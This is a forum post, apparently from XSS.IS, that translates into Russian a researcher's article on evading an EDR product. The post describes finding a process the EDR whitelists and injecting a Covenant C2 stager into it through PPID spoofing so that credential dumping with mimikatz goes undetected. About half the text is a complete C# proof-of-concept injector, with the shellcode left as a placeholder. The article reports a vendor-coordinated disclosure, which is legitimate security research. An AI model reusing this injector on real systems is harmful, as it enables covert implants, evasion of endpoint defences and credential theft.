Атаки на EDR - Часть 1

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Этот пост является первым из, как мы надеемся, длинной серии статей, подробно описывающих некоторые распространенные недостатки, которые можно найти в современных продуктах EDR. Это ни в коем случае не будет полным справочником, но мы надеемся, что он предоставит некоторые практические инструменты для анализа этих гигантских продуктов и попытки понять их функциональность с точки зрения черного ящика.

Эти атаки на самом деле были осуществлены против одного из продуктов высокого уровня в области EDR. Нам повезло, что поставщик захотел сотрудничать и предоставил нам испытательный стенд, на котором мы могли проводить наши эксперименты безопасным и контролируемым образом. Мы считаем, что без этого сотрудничества было бы невозможно достичь тех результатов, которые мы получили, и надеемся, что в будущем EDR станут более открытыми для тестирования исследователями. Само собой разумеется, что конкретный поставщик, с которым мы работали, был очень заинтересован в этом сотрудничестве и устранил все проблемы, о которых мы сообщили.

Поскольку наша цель – не опозорить и возможно, избежать тюремного заключения, мы назовем этот продукт STRANGETRINITY.

Методология, которой мы следовали, частично основывалась на уже существовавших исследованиях, и невозможно не упомянуть исследование Cylance, проведенное MDSec. Подводя итог, мы собрали предыдущие исследования и определили различные места в операционной системе, где EDR присутствовали как с точки зрения конфигурации, так и с точки зрения обнаружения:

- Внедренные библиотеки DLL
- Ключи реестра
- Сетевая коммуникация
- Процесс установки/удаления
- Карантин файлов

На момент проведения данного исследования мы не проводили никакого анализа на основе ядра, поскольку у нас еще не было таких навыков. Обратите внимание, что эта первая часть была технически реализована в 2020 году, поэтому имейте в виду, что за последние три года эволюция как наступательных, так и оборонительных технологий развивалась чрезвычайно быстро, поэтому нет гарантии, что этот метод будет работать с реальными (2023 г.) современными EDR.

Уязвимость

Это исследование началось с простой гипотезы:

Если процесс не загружает DLL-перехватчик EDR в память, а другие процессы это делают, его необходимо каким-то образом внести в белый список. Для тех, кто не знаком с архитектурой EDR, по крайней мере в прошлом, большинство из них использовали внедрение DLL в большинство процессов пользовательского пространства. Это было сделано, среди прочего, для перехвата пользовательской среды. Перехват — это практика отклонения потока обычного вызова API для изменения его функциональности, которая была очень популярна среди разработчиков игровых читов. EDR использовали перехват API для проверки аргументов различных API, которые могли быть использованы вредоносным ПО для выполнения таких действий, как внедрение процессов. Наша идея была проста: если у процесса нет библиотеки DLL, вполне вероятно, что он не будет проверен так же, как процесс, у которого она есть.

А как проверить эту гипотезу? Мы начали с поиска всех процессов внутри виртуальной машины с установленным продуктом, которые не загружали DLL, использовалась команда, аналогичная следующей:

1699430155784.png



В частности, «tasklist /m» перечислял все процессы и загруженные модули, «/FO CSV» печатал результаты в формате CSV, которые впоследствии были отфильтрованы командой «findstr». Интересно, что мы получили несколько попаданий!

1699430164906.png



Большинство процессов в списке имели уровень защиты (PPL), который фактически не позволял нам полноценно взаимодействовать с ними, не полагаясь на эксплойты. Однако процесс STRANGETRINITY.exe не имел защиты процесса и был связан с самим решением EDR. Затем мы выполнили еще одну команду списка задач, чтобы убедиться, что DLL действительно не загружается:

1699430175745.png



Интересно, что этот процесс также выполнялся от имени текущей учетной записи пользователя с низкими привилегиями, что делает его хорошим кандидатом для внедрения.

После нескольких проб и ошибок мы обнаружили, что решение, которое работает лучше всего, заключалось в использовании техники подмены PPID для создания нового процесса, как если бы он был порожден STRANGETRINITY.EXE. В качестве цели для инъекции мы решили создать еще один экземпляр STRANGETRINITY.EXE.

Что касается использованной техники внедрения, то это была простая инъекция CreateRemoteThread в сочетании с шелл-кодом Covenant.

После того, как PoC был составлен и выполнен, мы сразу же получили имплант на тестовой виртуальной машине. Это уже само по себе было удивительно, поскольку мы использовали известную структуру C2 без обфускации и чрезвычайно простую технику внедрения. Однако самым интересным фактом было то, что из этого процесса можно было выполнить все виды TTP после эксплуатации, и ничего не было обнаружено. Например, DLL-библиотека дампа учетных данных mimikatz была внедрена в память, не вызвав никакого обнаружения.

Обратите внимание, что такое специфическое поведение, связанное с игнорированием постэкс-TTP, происходило только тогда, когда применялась именно эта техника против этого конкретного процесса. Даже если вам удалось внедрить маяк, не вызвав обнаружения в другом несвязанном процессе, и попытаться запустить такие вещи, как mimikatz, ваш сеанс будет прерван.

В конечном итоге это подтвердило нашу первоначальную гипотезу о том, что процесс действительно был внесен в белый список. Беседы с поставщиком и его технической командой были чрезвычайно полезны для понимания того, что это было непреднамеренное поведение, а не один из различных методов внедрения, которые в любом случае просто останутся незамеченными.

Proof Of Concept Code

Следующий фрагмент кода предназначен для проверки концепции, которая использовалась для подтверждения проблемы.

C#: Скопировать в буфер обмена
Код:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace GruntInjection
{
    class Program
    {
        public const uint CreateSuspended = 0x00000004;
        public const uint DetachedProcess = 0x00000008;
        public const uint CreateNoWindow = 0x08000000;
        public const uint ExtendedStartupInfoPresent = 0x00080000;
        public const int ProcThreadAttributeParentProcess = 0x00020000;

        // Hardcoded Grunt Stager
        public static byte[] gruntStager = Convert.FromBase64String("[[shellcode here]]");

        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Console.Error.WriteLine("Invalid number of args");
                return;
            }

            // Create new process
            PROCESS_INFORMATION pInfo = CreateTargetProcess(args[0], int.Parse(args[1]));

            // Allocate memory
            IntPtr allocatedRegion = VirtualAllocEx(pInfo.hProcess, IntPtr.Zero, (uint)gruntStager.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ReadWrite);

            // Copy Grunt PIC to new process
            UIntPtr bytesWritten;
            WriteProcessMemory(pInfo.hProcess, allocatedRegion, gruntStager, (uint)gruntStager.Length, out bytesWritten);

            // Change memory region to RX
            MemoryProtection oldProtect;
            VirtualProtectEx(pInfo.hProcess, allocatedRegion, (uint)gruntStager.Length, MemoryProtection.ExecuteRead, out oldProtect);

            // Create the new thread
            CreateRemoteThread(pInfo.hProcess, IntPtr.Zero, 0, allocatedRegion, IntPtr.Zero, 0, IntPtr.Zero);
        }

        public static PROCESS_INFORMATION CreateTargetProcess(string targetProcess, int parentProcessId)
        {
            STARTUPINFOEX sInfo = new STARTUPINFOEX();
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();

            sInfo.StartupInfo.cb = (uint)Marshal.SizeOf(sInfo);
            IntPtr lpValue = IntPtr.Zero;

            try
            {
                SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
                SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
                pSec.nLength = Marshal.SizeOf(pSec);
                tSec.nLength = Marshal.SizeOf(tSec);

                uint flags = CreateSuspended | DetachedProcess | CreateNoWindow | ExtendedStartupInfoPresent;

                IntPtr lpSize = IntPtr.Zero;

                InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
                sInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize);
                InitializeProcThreadAttributeList(sInfo.lpAttributeList, 1, 0, ref lpSize);

                IntPtr parentHandle = Process.GetProcessById(parentProcessId).Handle;
                lpValue = Marshal.AllocHGlobal(IntPtr.Size);
                Marshal.WriteIntPtr(lpValue, parentHandle);

                UpdateProcThreadAttribute(sInfo.lpAttributeList, 0, (IntPtr)ProcThreadAttributeParentProcess, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);

                CreateProcess(targetProcess, null, ref pSec, ref tSec, false, flags, IntPtr.Zero, null, ref sInfo, out pInfo);

                return pInfo;

            }
            finally
            {
                DeleteProcThreadAttributeList(sInfo.lpAttributeList);
                Marshal.FreeHGlobal(sInfo.lpAttributeList);
                Marshal.FreeHGlobal(lpValue);
            }
        }

        [DllImport("kernel32.dll")]
        public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);

        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect);

        [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.StdCall)]
        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [StructLayout(LayoutKind.Sequential)]
        public struct STARTUPINFOEX
        {
            public STARTUPINFO StartupInfo;
            public IntPtr lpAttributeList;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct STARTUPINFO
        {
            public uint cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttributes;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdErr;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct SECURITY_ATTRIBUTES
        {
            public int nLength;
            public IntPtr lpSecurityDescriptor;
            public int bInheritHandle;
        }

        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000,
            Decommit = 0x4000,
            Release = 0x8000,
            Reset = 0x80000,
            Physical = 0x400000,
            TopDown = 0x100000,
            WriteWatch = 0x200000,
            LargePages = 0x20000000
        }

        [Flags]
        public enum MemoryProtection
        {
            Execute = 0x10,
            ExecuteRead = 0x20,
            ExecuteReadWrite = 0x40,
            ExecuteWriteCopy = 0x80,
            NoAccess = 0x01,
            ReadOnly = 0x02,
            ReadWrite = 0x04,
            WriteCopy = 0x08,
            GuardModifierflag = 0x100,
            NoCacheModifierflag = 0x200,
            WriteCombineModifierflag = 0x400
        }
    }
}

Завершая этот первый пост саги, мы можем подчеркнуть тот факт, что эти продукты, хотя и хорошо структурированы и состоят из технических специалистов высокого уровня и имеют широкий глобальный успех, все же имеют некоторые уязвимости. Несмотря на то, насколько простой была показанная нами уязвимость, ее влияние было неоспоримо.

В отличие от античит-продуктов, которые сосредотачивают свои усилия на защите одного или ограниченного числа процессов, когда речь идет об EDR (Endpoint Detection and Response), поверхность атаки гораздо шире. Это приводит к принятию решений или предположений, которые неизбежно будут использованы злоумышленниками. В следующих главах мы продемонстрируем, как иногда можно атаковать эти решения в их протоколе связи между агентом и тенантом, а также как можно атаковать отдельные утилиты, которые эти продукты часто держат готовыми к использованию в системе, где они устанавливаются в виде переносимых исполняемых файлов.

Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: https://riccardoancarani.github.io/2023-08-03-attacking-an-edr-part-1/
 
Сверху Снизу